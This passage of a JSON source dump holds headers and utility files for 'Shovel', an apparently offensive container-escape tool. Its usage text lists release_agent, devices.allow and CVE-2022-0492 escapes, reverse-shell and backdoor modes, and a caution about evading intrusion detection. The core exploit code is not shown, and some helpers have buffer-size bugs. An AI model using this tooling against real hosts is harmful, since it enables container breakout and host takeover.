    "content": "//\n// Created by FlagT on 2022/6/26.\n//\n\n#ifndef SHOVEL_CUSTOM_STRUTS_H\n#define SHOVEL_CUSTOM_STRUTS_H\n\n#endif //SHOVEL_CUSTOM_STRUTS_H\n\n\nenum ATTACK_TYPE {\n    RELEASE_AGENT,\n    DEVICE_ALLOW,\n    CVE_2022_0492,\n};\n\nenum ATTACK_MODE {\n    EXEC,\n    SHELL,\n    REVERSE,\n    BACKDOOR\n};\n\nstruct ATTACK_INFO {\n    int attack_type;\n    int attack_mode;\n    char *command;\n    char *ip;\n    char *port;\n    char *backdoor_path;\n    char *container_path;\n} attack_info;\n\n\nstruct RELEASE_AGENT_ATTACK_INFO {\n    char *exp_path;\n    char *container_path_in_host;\n    char *controller_path;\n    char *mount_path;\n    char *output_path_in_container;\n    int use_cve_2022_0492;\n} release_agent_attack_info;\n\nstruct DEVICE_ALLOW_ATTACK_INFO {\n    char *cgroup_id;\n    char *host_filesystem_mount_path;\n    char *crontab_path;\n    char *exp;\n    char *host_dev_path;\n    char *device_allow_path;\n    char *mount_path;\n} device_allow_attack_info;\n\nstruct HOST_DEV_ATTRIBUTE {\n    int major;\n    int minor;\n    char *fstype;\n} host_dev_attribute;"
  },
  {
    "path": "util/mount_info.c",
    "content": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#include <bits/types/FILE.h>\n#include <mntent.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"mount_info.h\"\n#include \"utils.h\"\n\n\nint load_mount_info(char *path, struct mntent *mounts_info[]) {\n    struct mntent *ent;\n    FILE *mounts_file;\n    mounts_file = setmntent(path, \"r\");\n    if (mounts_file == NULL) {\n        perror(\"setmntent\");\n        exit(1);\n    }\n    int count = 0;\n    while (NULL != (ent = getmntent(mounts_file))) {\n        struct mntent *tmp_ent = (struct mntent *) malloc(sizeof(struct mntent));\n        memcpy(tmp_ent, ent, sizeof(struct mntent));\n        tmp_ent->mnt_dir = (char *) malloc((strlen(ent->mnt_dir) + 1) * sizeof(char));\n        tmp_ent->mnt_fsname = (char *) malloc((strlen(ent->mnt_fsname) + 1) * sizeof(char));\n        tmp_ent->mnt_type = (char *) malloc((strlen(ent->mnt_type) + 1) * sizeof(char));\n        tmp_ent->mnt_opts = (char *) malloc((strlen(ent->mnt_opts) + 1) * sizeof(char));\n        strcpy(tmp_ent->mnt_dir, ent->mnt_dir);\n        strcpy(tmp_ent->mnt_fsname, ent->mnt_fsname);\n        strcpy(tmp_ent->mnt_type, ent->mnt_type);\n        strcpy(tmp_ent->mnt_opts, ent->mnt_opts);\n        mounts_info[count] = tmp_ent;\n        count += 1;\n    }\n    endmntent(mounts_file);\n    return count;\n}"
  },
  {
    "path": "util/mount_info.h",
    "content": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#ifndef SHOVEL_MOUNT_INFO_H\n#define SHOVEL_MOUNT_INFO_H\n\n#endif //SHOVEL_MOUNT_INFO_H\n\nint load_mount_info(char *path, struct mntent *mounts_info[]);"
  },
  {
    "path": "util/output.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include <stdio.h>\n#include <malloc.h>\n#include <string.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include \"output.h\"\n\n\nvoid printf_info(char *format, va_list args_list) {\n    char *info_msg_format = (char *) malloc((strlen(\"[info] \") + strlen(format)) * sizeof(char));\n    strcpy(info_msg_format, \"[INFO] \");\n    strcat(info_msg_format, format);\n    vprintf(info_msg_format, args_list);\n    free(info_msg_format);\n}\n\nvoid printf_warning(char *format, va_list args_list) {\n    char *warning_msg_format = (char *) malloc((strlen(\"[warning] \") + strlen(format)) * sizeof(char));\n    strcpy(warning_msg_format, \"[WARNING] \");\n    strcat(warning_msg_format, format);\n    vprintf(warning_msg_format, args_list);\n    free(warning_msg_format);\n}\n\nvoid printf_error(char *format, va_list args_list) {\n    char *error_msg_format = (char *) malloc((strlen(\"[error] \") + strlen(format)) * sizeof(char));\n    strcpy(error_msg_format, \"[ERROR] \");\n    strcat(error_msg_format, format);\n    vprintf(error_msg_format, args_list);\n    free(error_msg_format);\n}\n\nvoid printf_wrapper(int type, char *format, ...) {\n    va_list marker;\n    va_start(marker, format);\n    switch (type) {\n        case INFO:\n            printf_info(format, marker);\n            break;\n        case WARNING:\n            printf_warning(format, marker);\n            break;\n        case ERROR:\n            printf_error(format, marker);\n            break;\n        default:\n            printf_info(format, marker);\n            break;\n    };\n    va_end(marker);\n}"
  },
  {
    "path": "util/output.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_OUTPUT_H\n#define SHOVEL_OUTPUT_H\n\n#endif //SHOVEL_OUTPUT_H\n\n\nenum output_type {\n    INFO = 1,\n    ERROR = 2,\n    WARNING= 3,\n};\n\nvoid printf_wrapper(int type, char* format, ...);"
  },
  {
    "path": "util/program_info.c",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"program_info.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define PROGRAM_NAME \"Shovel\"\n#define VERSION \"1.3\"\n\n\nvoid usage(char *args0) {\n    printf(\"usage: %s [options ...]\\n\"\n           \"\\n\"\n           \"Options:\\n\"\n           \"Options of program\\n\"\n           \"    -h, --help                           show help message\\n\"\n           \"    -v, --version                        show program version\\n\"\n           \"Options of escape\\n\"\n           \"    -r, --release-agent                  escape by release-agent\\n\"\n           \"    -d, --devices-allow                  escape by devices-allow\\n\"\n           \"    -u, --cve-2022-0492                  get cap_sys_admin by cve-2022-0492 and return new namespace bash\\n\"\n           \"Options of other\\n\"\n           \"    -p, --container_path=xxx             manually specify path of container in host,use this parameter if program can't get it automatically\\n\"\n           \"    -m, --mode=xxx                       the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor }\\n\"\n           \"    -c, --command=xxx                    set command in exec mode\\n\"\n           \"    -I, --ip                             set ip address in reverse mode\\n\"\n           \"    -P, --port                           set port in reverse mode\\n\"\n           \"    -B, --backdoor_path                  set backdoor file path\\n\"\n           \"    -y, --assumeyes                      automatically answer yes for all questions\"\n           \"\\n\"\n           \"Mode (-m) type guide\\n\"\n           \"    exec:     run a single command and return the result\\n\"\n           \"    shell:    get host shell in current console\\n\"\n           \"    reverse:  reverse shell to remote listening address\\n\"\n           \"    backdoor: put a backdoor to the host and execute\\n\",\n           args0);\n    exit(EXIT_SUCCESS);\n}\n\nvoid print_version() {\n    printf(\"%s version: %s, %s %s\\n\", PROGRAM_NAME, VERSION, __DATE__, __TIME__);\n    exit(EXIT_SUCCESS);\n}"
  },
  {
    "path": "util/program_info.h",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_USAGE_H\n#define SHOVEL_USAGE_H\n\n#endif //SHOVEL_USAGE_H\n\nvoid usage(char *);\nvoid print_version();"
  },
  {
    "path": "util/random_str.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"random_str.h\"\n\n#include <string.h>\n#include <stdlib.h>\n\nvoid rand_string(char *str, size_t size) {\n    const char charset[] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456\";\n    if (size) {\n        --size;\n        for (size_t n = 0; n < size; n++) {\n            int key = (int) random() % (int) (sizeof charset - 1);\n            str[n] = charset[key];\n        }\n        str[size] = '\\0';\n    }\n}"
  },
  {
    "path": "util/random_str.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_RANDOM_STR_H\n#define SHOVEL_RANDOM_STR_H\n\n#endif //SHOVEL_RANDOM_STR_H\n\n#include <stdlib.h>\n\nvoid rand_string(char *, size_t);"
  },
  {
    "path": "util/regex_util.c",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define _GNU_SOURCE\n\n#include \"regex_util.h\"\n#include <regex.h>\n#include <string.h>\n#include \"output.h\"\n\n\nvoid regex_util(char *src, char *reg, char *result) {\n    regex_t regex;\n    char err_buf[1024];\n    regmatch_t match_char[2];\n    regcomp(&regex, reg, REG_EXTENDED);\n    int match_result = regexec(&regex, src, 10, match_char, 0);\n    if (!match_result) {\n        if (match_char[1].rm_so != -1) {\n            char cursorCopy[strlen(src) + 1];\n            strcpy(cursorCopy, src);\n            cursorCopy[match_char[1].rm_eo] = 0;\n            strcpy(result, cursorCopy + match_char[1].rm_so);\n        }\n    } else if (match_result == REG_NOMATCH) {\n    } else {\n        regerror(match_result, &regex, err_buf, sizeof(err_buf));\n        printf_wrapper(WARNING, \"Regex match failed: %s\\n\", err_buf);\n    }\n}"
  },
  {
    "path": "util/regex_util.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_REGEX_UTIL_H\n#define SHOVEL_REGEX_UTIL_H\n\n#endif //SHOVEL_REGEX_UTIL_H\n\n\nvoid regex_util(char *, char *, char *);"
  },
  {
    "path": "util/utils.c",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"utils.h\"\n#include <sys/stat.h>\n#include <dirent.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <malloc.h>\n#include \"output.h\"\n#include <fcntl.h>\n#include <assert.h>\n#include <stdlib.h>\n\n#define DEFAULT_READ_SIZE 1048576\n\n\nint remove_dir(char *dir) {\n    char cur_dir[] = \".\";\n    char up_dir[] = \"..\";\n    char dir_name[128];\n    DIR *dirp;\n    struct dirent *dp;\n    struct stat dir_stat;\n\n    if (0 != access(dir, F_OK)) {\n        printf_wrapper(ERROR, \"No permission to access dir %s\\n\", dir);\n        return -1;\n    }\n\n    if (0 > stat(dir, &dir_stat)) {\n        printf_wrapper(ERROR, \"Get directory %s stat error, remove %s failed\\n\", dir, dir);\n        return -1;\n    }\n\n    if (S_ISREG(dir_stat.st_mode)) {\n        remove(dir);\n    } else if (S_ISDIR(dir_stat.st_mode)) {\n        dirp = opendir(dir);\n        while ((dp = readdir(dirp)) != NULL) {\n            if ((0 == strcmp(cur_dir, dp->d_name)) || (0 == strcmp(up_dir, dp->d_name))) {\n                continue;\n            }\n\n            sprintf(dir_name, \"%s/%s\", dir, dp->d_name);\n            remove_dir(dir_name);\n        }\n        closedir(dirp);\n        rmdir(dir);\n    } else {\n        printf_wrapper(ERROR, \"Unknown dir %s type, remove %s failed\\n\", dir, dir);\n        return -1;\n    }\n    return 0;\n}\n\nint remove_file(char *file_path) {\n    struct stat file_stat;\n\n    if (0 != access(file_path, F_OK)) {\n        printf_wrapper(ERROR, \"No permission to access file %s\\n\", file_path);\n        return -1;\n    }\n\n    if (0 > stat(file_path, &file_stat)) {\n        printf_wrapper(ERROR, \"Get file %s stat error, remove %s failed\\n\", file_path, file_path);\n        return -1;\n    }\n\n    if (S_ISREG(file_stat.st_mode) || S_ISBLK(file_stat.st_mode)) {\n        remove(file_path);\n    } else {\n        return -1;\n    }\n    return 0;\n}\n\nvoid clear_input() {\n    char *buffer = malloc(sizeof(char) * 2);\n    memset(buffer, 0x00, 2);\n    fgets(buffer, 2, stdin);\n}\n\nvoid output_bash_warning(char *escape_type, char *mode) {\n    printf_wrapper(WARNING,\n                   \"Escape by %s in %s mode will call bash, may be caught by intrusion detection devices, are you sure use this mode? (y/n) \",\n                   escape_type, mode);\n    char *inputBuffer = malloc(sizeof(char) * 2);\n    memset(inputBuffer, 0x00, 2);\n    fgets(inputBuffer, 2, stdin);\n    inputBuffer[strcspn(inputBuffer, \"\\n\")] = 0x00;\n    clear_input();\n    if ((strcmp(inputBuffer, \"y\") == 0) || (strcmp(inputBuffer, \"Y\") == 0)) {\n        return;\n    } else {\n        printf_wrapper(INFO, \"Exit\\n\");\n        exit(EXIT_SUCCESS);\n    }\n}\n\nint read_file(char *path, char *buffer, int flags) {\n    int fd;\n    fd = open(path, flags);\n    if (fd == -1) {\n        close(fd);\n        return -1;\n    }\n    struct stat s;\n    int size = DEFAULT_READ_SIZE;\n    size_t stat_ret = stat(path, &s);\n    if (stat_ret != -1 && s.st_size != 0) {\n        size = (int) s.st_size;\n    }\n    size_t ret = read(fd, buffer, size);\n    if (ret == -1) {\n        close(fd);\n        return -1;\n    }\n    close(fd);\n    return 0;\n}\n\n\nint write_file(char *path, char *buffer, int flags) {\n    int fd;\n    fd = open(path, flags);\n    if (!fd) {\n        return -1;\n    }\n    size_t ret = write(fd, buffer, strlen(buffer));\n    if (ret == -1) {\n        return -1;\n    }\n    close(fd);\n    return 0;\n}\n\nint file_exist(char *path) {\n    if (access(path, F_OK) == 0) {\n        return 0;\n    } else {\n        return -1;\n    }\n}\n\nchar **str_split(char *str, const char a_delim) {\n    char **result = 0;\n    size_t count = 0;\n    char *tmp = str;\n    char *last_comma = 0;\n    char delim[2];\n    delim[0] = a_delim;\n    delim[1] = 0;\n    while (*tmp) {\n        if (a_delim == *tmp) {\n            count++;\n            last_comma = tmp;\n        }\n        tmp++;\n    }\n    count += last_comma < (str + strlen(str) - 1);\n    count++;\n    result = malloc(sizeof(char *) * count);\n    if (result) {\n        size_t idx = 0;\n        char *token = strtok(str, delim);\n        while (token) {\n            assert(idx < count);\n            *(result + idx++) = strdup(token);\n            token = strtok(0, delim);\n        }\n        assert(idx == count - 1);\n        *(result + idx) = 0;\n    }\n    return result;\n}\n\nchar *str_replace(char *orig, char *rep, char *with) {\n    char *result;\n    char *ins;\n    char *tmp;\n    unsigned long len_rep;\n    unsigned long len_with;\n    unsigned long len_front;\n    unsigned long count;\n    if (!orig || !rep)\n        return NULL;\n    len_rep = strlen(rep);\n    if (len_rep == 0)\n        return NULL;\n    if (!with)\n        with = \"\";\n    len_with = strlen(with);\n    ins = orig;\n    for (count = 0; (tmp = strstr(ins, rep)); ++count) {\n        ins = tmp + len_rep;\n    }\n    tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);\n    if (!result)\n        return NULL;\n    while (count--) {\n        ins = strstr(orig, rep);\n        len_front = ins - orig;\n        tmp = strncpy(tmp, orig, len_front) + len_front;\n        tmp = strcpy(tmp, with) + len_with;\n        orig += len_front + len_rep;\n    }\n    strcpy(tmp, orig);\n    return result;\n}\n\n"
  },
  {
    "path": "util/utils.h",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_UTILS_H\n#define SHOVEL_UTILS_H\n\n#endif //SHOVEL_UTILS_H\n\nint remove_dir(char *);\n\nint remove_file(char *);\n\nvoid output_bash_warning(char *, char *);\n\nint write_file(char *, char *, int);\n\nint read_file(char *, char*, int);\n\nint file_exist(char *);\n\nchar **str_split(char *, char);\n\nchar *str_replace(char *orig, char *rep, char *with);"
  }
]